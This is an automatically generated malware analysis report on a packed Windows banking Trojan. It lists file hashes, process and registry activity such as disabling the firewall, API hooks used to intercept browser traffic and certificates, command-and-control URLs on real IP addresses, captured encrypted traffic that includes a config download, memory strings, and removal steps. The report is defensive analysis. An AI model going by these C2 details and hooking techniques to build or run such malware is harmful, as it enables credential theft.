Trojan.Generic.11620558_f0ff1bc007

by malwarelabrobot on September 10th, 2014 in Malware Descriptions.

HEUR:Hoax.Win32.ArchSMS.gen (Kaspersky), Trojan.Generic.11620558 (AdAware), Trojan-PSW.Win32.Zbot.6.FD, Sinowal.YR, GenericInjector.YR, BackdoorCaphaw_QKKBAL.YR, TrojanPSWZbot.YR (Lavasoft MAS)
Behaviour: Trojan-PSW, Trojan, Backdoor


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

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Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: f0ff1bc007201b0d0e4d6245773785b0
SHA1: 0976fb12841c91b5d9886103b6f82771df5725c3
SHA256: 428d4108061207d1055cb18af2769afb1a1d669e5b42fdca6ff15f4653cb4896
SSDeep: 6144:PpLLxPun8f5 8UeIuK6MRDrYSilyRXYt128/ Q:tpuGLU2K6O8/yKyi
Size: 224247 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: BorlandDelphi30, UPolyXv05_v6
Company: no certificate found
Created at: 2012-10-05 18:24:46
Analyzed on: WindowsXPESX SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

%original file name%.exe:748
tasklist.exe:1844
hostname.exe:1904
ipconfig.exe:1460
mscorsvw.exe:172
netsh.exe:2008
idgat.exe:1048

The Trojan injects its code into the following process(es):

Explorer.EXE:2032

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:748 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmp74f8a7ff.bat (177 bytes)
%Documents and Settings%\%current user%\Application Data\Ahly\idgat.exe (224 bytes)

Registry activity

The process %original file name%.exe:748 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6B 9C 16 B1 3C F2 E2 30 C7 3C B5 19 C0 EB 7C 76"

[HKCU\Software\Microsoft\Doree]
"Riquryuv" = "52 6F 1D C2 88 33 30 33 79 04 F0 B6 DC 2F 4D 42"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process tasklist.exe:1844 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AC BA A1 F2 62 1C 70 BA 58 85 BB B7 6D DA 9E 93"

[HKCU\Software\Microsoft\Doree]
"Riquryuv" = "52 6F 1D C2 88 33 30 33 79 04 F0 B6 DC 2F 4D 42"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process hostname.exe:1904 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F8 7B 21 BC AA 4A CD 63 BE A6 55 2C B1 FF 4F 8F"

[HKCU\Software\Microsoft\Doree]
"Riquryuv" = "52 6F 1D C2 88 33 30 33 79 04 F0 B6 DC 2F 4D 42"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process ipconfig.exe:1460 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"EventMessageFile" = "%System%\ESENT.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKCU\Software\Microsoft\Doree]
"Riquryuv" = "52 6F 1D C2 88 33 30 33 79 04 F0 B6 DC 2F 4D 42"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E0 A1 5E A2 8F D4 77 72 9C C0 03 42 C2 01 3A A9"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

The process mscorsvw.exe:172 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\.NETFramework\v2.0.50727\NGenService\State]
"AccumulatedWaitIdleTime" = "1260000"

The process netsh.exe:2008 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"DoNotAllowExceptions" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"ControlFlags" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh\Napmontr]
"BitNames" = " NAP_TRACE_BASE NAP_TRACE_NETSH"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKCU\Software\Microsoft\Doree]
"Riquryuv" = "52 6F 1D C2 88 33 30 33 79 04 F0 B6 DC 2F 4D 42"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh\Napmontr]
"Guid" = "710adbf0-ce88-40b4-a50d-231ada6593f0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent\traceIdentifier]
"Guid" = "b0278a28-76f1-4e15-b1df-14b209a12613"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "03 59 85 C4 3C F6 10 0F E3 F6 93 4A DE C2 71 B7"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Tracing\FWCFG]
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\NAP\Netsh]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\qagent\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"ControlFlags" = "1"

A firewall is disabled:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"EnableFirewall" = "0"

The process idgat.exe:1048 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "73 58 B8 C9 3F 66 00 F5 1F EA AC F0 9B 65 7E 07"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

MD5 File path
9e726b6bc09c80ef590cb0738073878e c:\Documents and Settings\"%CurrentUserName%"\Application Data\Ahly\idgat.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in WINMM.dll:

PlaySoundW

The Trojan installs the following user-mode hooks in WININET.dll:

HttpEndRequestW
HttpEndRequestA
HttpSendRequestExA
HttpSendRequestW
InternetReadFileExA
InternetSetFilePointer
InternetQueryDataAvailable
HttpOpenRequestW
HttpSendRequestExW
InternetReadFile
HttpQueryInfoA
HttpSendRequestA
InternetCloseHandle
HttpOpenRequestA

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan installs the following user-mode hooks in ADVAPI32.dll:

CreateProcessAsUserA
CreateProcessAsUserW

The Trojan installs the following user-mode hooks in WS2_32.dll:

WSASend
gethostbyname
send
closesocket
getaddrinfo

The Trojan installs the following user-mode hooks in kernel32.dll:

ExitProcess
GetFileAttributesExW

The Trojan installs the following user-mode hooks in ntdll.dll:

NtCreateThread

Propagation

VersionInfo

Company Name: F-Secure
Product Name:
Product Version: 4.4.7.5
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name: ccSvcHst
File Version: 8.5.6.2
File Description: Symantec Service Framework
Comments:
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 13862 14336 4.51397 422dae4562ded00f41452bba81723b16
.data 20480 344022 183296 5.04475 b7df2883f06a9c1f284505ea0c24af5e
.rdata 364544 11204 11264 3.88819 a211daca8ae0bf6690ab91243bc626d4
.edata 376832 1926882 5120 2.77249 e82e7cae54128200defbd51a011dad6e
.rsrc 2306048 608 1024 2.70684 458ab81305fb4d5072962f4d5a0a4497
.reloc 2310144 728 1024 3.72293 6add513d2d903932db0eca6176669e96

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://46.105.143.222/ssdc32716372/file.php
hxxp://188.225.32.208/ssdc32716372/file.php


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Possible W32/Citadel Download From CnC Server Self Referenced /files/ attachment
ET TROJAN Generic - POST To .php w/Extended ASCII Characters
ET TROJAN Generic -POST To file.php w/Extended ASCII Characters

Traffic

POST /ssdc32716372/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 46.105.143.222
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache

W.c^.-..I..|W8.&N.P...6....}J2.U.[..&m...A.N..v7.a...*HAx..8$gif.T.
...lI... ..j.?..<H.....!...]......e./...a..Q..O.......%..Z
HTTP/1.1 404 Not Found
Server: nginx/1.4.3
Date: Wed, 10 Sep 2014 01:07:41 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 299
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /ss
dc32716372/file.php was not found on this server.</p>.<hr>
.<address>Apache/2.2.16 (Debian) Server at 46.105.143.222 Port 8
0</address>.</body></html>.....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 46.105.143.222
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache

W.c^.-..I..|W8.&N.P...6....}J2.U.[..&m...A.N..v7.a...*HAx..8$gif.T.
...lI... ..j.?..<H.....!...]......e./...a..Q..O.......%..Z
HTTP/1.1 404 Not Found
Server: nginx/1.4.3
Date: Wed, 10 Sep 2014 01:07:41 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 299
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /ss
dc32716372/file.php was not found on this server.</p>.<hr>
.<address>Apache/2.2.16 (Debian) Server at 46.105.143.222 Port 8
0</address>.</body></html>.....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 46.105.143.222
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache

.[w.W~.W~G!.H\.p7T.(P..H=ji...1.x.?......|.........{7....Q......=..b..b;].. ~U......\Q.. M..j..`..}.R.v..N..&..6..\d.K..._SR....1gV
HTTP/1.1 404 Not Found
Server: nginx/1.4.3
Date: Wed, 10 Sep 2014 01:07:42 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 299
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /ss
dc32716372/file.php was not found on this server.</p>.<hr>
.<address>Apache/2.2.16 (Debian) Server at 46.105.143.222 Port 8
0</address>.</body></html>...



POST /ssdc32716372/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 188.225.32.208
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache

m..cE.Y{...?...-.jb... ....k\$.C.M..0{...W.X..`!iw...<^Wn.i.2q.p..B......z_...=
.|.)..*^.....7...K......s.9...w..G..Y...8...3..L
HTTP/1.1 404 Not Found
Date: Wed, 10 Sep 2014 01:03:12 GMT
Server: nginx/1.7.3
Content-Type: text/html
Content-Length: 0
X-Powered-By: PHP/5.4.4-14 deb7u14
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1500
Connection: Keep-Alive
....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 188.225.32.208
Content-Length: 128
Connection: Keep-Alive
Cache-Control: no-cache

m..cE.Y{...?...-.jb... ....k\$.C.M..0{...W.X..`!iw...<^Wn.i.2q.p..B......z_...=
.|.)..*^.....7...K......s.9...w..G..Y...8...3..L
HTTP/1.1 404 Not Found
Date: Wed, 10 Sep 2014 01:03:13 GMT
Server: nginx/1.7.3
Content-Type: text/html
Content-Length: 0
X-Powered-By: PHP/5.4.4-14 deb7u14
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1499
Connection: Keep-Alive
....



POST /ssdc32716372/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 188.225.32.208
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache

ky.yp.fv.......2N.,J..^....."Z.=.(<MNeH.)o9Dw.!X.....E'....WK....c;.cb....&...Dt...P..S'.....Nq..2.....l..Z{.....8......>.
HTTP/1.1 200 OK
Date: Wed, 10 Sep 2014 01:03:12 GMT
Server: nginx/1.7.3
Content-Type: application/octet-stream
Content-Length: 97776
X-Powered-By: PHP/5.4.4-14 deb7u14
Cache-Control: public
Content-Disposition: attachment; filename="./files/config.bin"
Content-Transfer-Encoding: binary
Keep-Alive: timeout=5, max=1500
Connection: Keep-Alive
..Jy.K.Npt..y&q..3.=...P1.......f..bs.7wM...u.4...L..p.e....".F=^Q....
.....v._`.7...Fj....L../.......M......../)8.....=.b.)7.R...5.......i._
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...#..U2..Y....8;.....N(M.J..t~.]>....~._.oD.....xJN..A.$.k...'k".H
Tc.B..^c)..'0"\.....~>>........%...p.....1...x.|r.?=8ZFZ..G2..(k
.......0*[email protected]..,I......]...y.
l!$!C.m0_Y-^.9..?.Zl...s...f....:4.r.....6.}7F..$.p.b.#@...E..O.3.z...
..$}...j3V............vo........j..p...%.3G.B^x.G.M.A....RAfS.........
.aAP..N..G..........[X.G.C5|...zq:..#jv..]v...Y.e.......Cn.X....J%....
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.m........m....x.6S....o6lb..I......1....H.4..].Y.1....)..a.oq.k.A.Ja.
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[email protected]... ..f.*,F..K......:kF..`.G.[......L.O.9'
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[email protected]*X.%.ZI.N#.U...,....6....w.C^.l..3..Q.%*|>......fd.......
<<< skipped >>>


POST /ssdc32716372/file.php HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 46.105.143.222
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache

W.1N....E..,.*..z...~..f.DG............G.....B.... G.....m.........^..^.a...Bi../.!.`m...q-*V..\7.A n(J..k... 
8.|}.\[E..
HTTP/1.1 404 Not Found
Server: nginx/1.4.3
Date: Wed, 10 Sep 2014 01:07:41 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 299
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /ss
dc32716372/file.php was not found on this server.</p>.<hr>
.<address>Apache/2.2.16 (Debian) Server at 46.105.143.222 Port 8
0</address>.</body></html>.....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 46.105.143.222
Content-Length: 122
Connection: Keep-Alive
Cache-Control: no-cache

W.1N....E..,.*..z...~..f.DG............G.....B.... G.....m.........^..^.a...Bi../.!.`m...q-*V..\7.A n(J..k... 
8.|}.\[E..
HTTP/1.1 404 Not Found
Server: nginx/1.4.3
Date: Wed, 10 Sep 2014 01:07:41 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 299
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /ss
dc32716372/file.php was not found on this server.</p>.<hr>
.<address>Apache/2.2.16 (Debian) Server at 46.105.143.222 Port 8
0</address>.</body></html>.....


POST /ssdc32716372/file.php HTTP/1.1


Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: 46.105.143.222
Content-Length: 131
Connection: Keep-Alive
Cache-Control: no-cache

.[w.W~.W~G!.H\.p7T.(P..H=ji...1.x.?......|.........{7....Q......=..b..b;].. ~U......\Q.. M..j..`..}.R.v..N..&..6..\d.K..._SR....1gV
HTTP/1.1 404 Not Found
Server: nginx/1.4.3
Date: Wed, 10 Sep 2014 01:07:42 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 299
Connection: keep-alive
Vary: Accept-Encoding
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>404 Not Found</title>.</head><
body>.<h1>Not Found</h1>.<p>The requested URL /ss
dc32716372/file.php was not found on this server.</p>.<hr>
.<address>Apache/2.2.16 (Debian) Server at 46.105.143.222 Port 8
0</address>.</body></html>...

The Trojan connects to the servers at the folowing location(s):

Explorer.EXE_2032_rwx_01C50000_0003B000:

.text
`.data
.reloc
%s, u %s %u u:u:u GMT
HTTP/1.1
HTTP/1.0
hXXp://
; charset=%s
HTTP/1.1 %u %s
Date: %s
Content-Length: %u
Expires: %s
Content-Type: %s%s
ID: %s
value_%s
value_%s_%s
%s = "%s";
hXXps://
HTTP/1.
facebook.com
Cookie: %s
Referer: %s
Accept: %s
Accept-Language: %s
Accept-Encoding: %s
%s%s%s
%?$-5'1!
;=9?&<s?23297>{ )/'ci8`
->:0059>&
1,/*<:=32$
3.#70!2)
 6;/(9*1
ROEVREUCUejxyea.abzygm{Jnqui~l?,}SFQVMHHZ
R,.qVOYFHCJ
92$8':,?
38.2-0&5
  6*5(>-
Gjhseov.Xt~j2)/x
.{YITPût`
CWEB@T]GGO
PR_OpenTCPSocket
hXXp://VVV.google.com/webhp
gdiplus.dll
GdiplusShutdown
ole32.dll
gdi32.dll
_getFirefoxCookie
cit_ffcookie.module
cit_video.module
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)
urlmon.dll
cabinet.dll
hXXp://xxxxxxxx.com/xxxx/xxxx.php
update.exe
config.bin
SSShL
SSShwD
CreatePipe
GetProcessHeap
KERNEL32.dll
GetKeyboardLayoutList
ExitWindowsEx
GetKeyboardState
OpenWindowStationW
GetProcessWindowStation
CreateWindowStationW
CloseWindowStation
SetProcessWindowStation
MapVirtualKeyW
SetKeyboardState
MsgWaitForMultipleObjects
USER32.dll
RegOpenKeyExW
RegEnumKeyExW
RegCloseKey
RegCreateKeyW
RegEnumKeyW
RegQueryInfoKeyW
RegCreateKeyExW
ADVAPI32.dll
PathIsURLW
UrlUnescapeA
SHDeleteKeyW
SHLWAPI.dll
ShellExecuteW
SHELL32.dll
Secur32.dll
SetViewportOrgEx
GDI32.dll
WS2_32.dll
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
PFXImportCertStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
HttpSendRequestExW
HttpSendRequestW
GetUrlCacheEntryInfoW
HttpAddRequestHeadersW
HttpOpenRequestA
HttpOpenRequestW
HttpEndRequestA
HttpAddRequestHeadersA
HttpSendRequestA
HttpEndRequestW
InternetCrackUrlA
WININET.dll
OLEAUT32.dll
NETAPI32.dll
VERSION.dll
WINMM.dll
PSSSSSSh
42>204:4
sXXXX
Company: %s
Product: %s
Version: %s
Software\Microsoft\Windows\CurrentVersion\Uninstall
%u: %s | %s | %s
Process: %s
Input: %s
nspr4.dll
chrome.dll
kernel32.dll
Global\XXX
Chrome
Firefox
SysShadow
\StringFileInfo\xx\%s
ntdll.dll
"%s" %s
/c "%s"
%sx.%s
%sx
SELECT * FROM %s
Global\{F11B6D3B-54BE-54D8-FBCD-0BAB9E4CE049}
%Documents and Settings%\%current user%\Application Data\Vywua\espyl.pau
%Documents and Settings%\%current user%\Application Data\Vywua
espyl.pau
%Documents and Settings%\%current user%\Application Data
{6760DF1E-E69B-C2A3-FBCD-0BAB9E4CE049}
%Documents and Settings%\%current user%\Application Data\Yvapyt\kiseu.bar
%Documents and Settings%\%current user%\Application Data\Yvapyt
kiseu.bar


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Scan a system with an anti-rootkit tool.
  2. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:748
    tasklist.exe:1844
    hostname.exe:1904
    ipconfig.exe:1460
    mscorsvw.exe:172
    netsh.exe:2008
    idgat.exe:1048

  3. Delete the original Trojan file.
  4. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Local Settings\Temp\tmp74f8a7ff.bat (177 bytes)
    %Documents and Settings%\%current user%\Application Data\Ahly\idgat.exe (224 bytes)

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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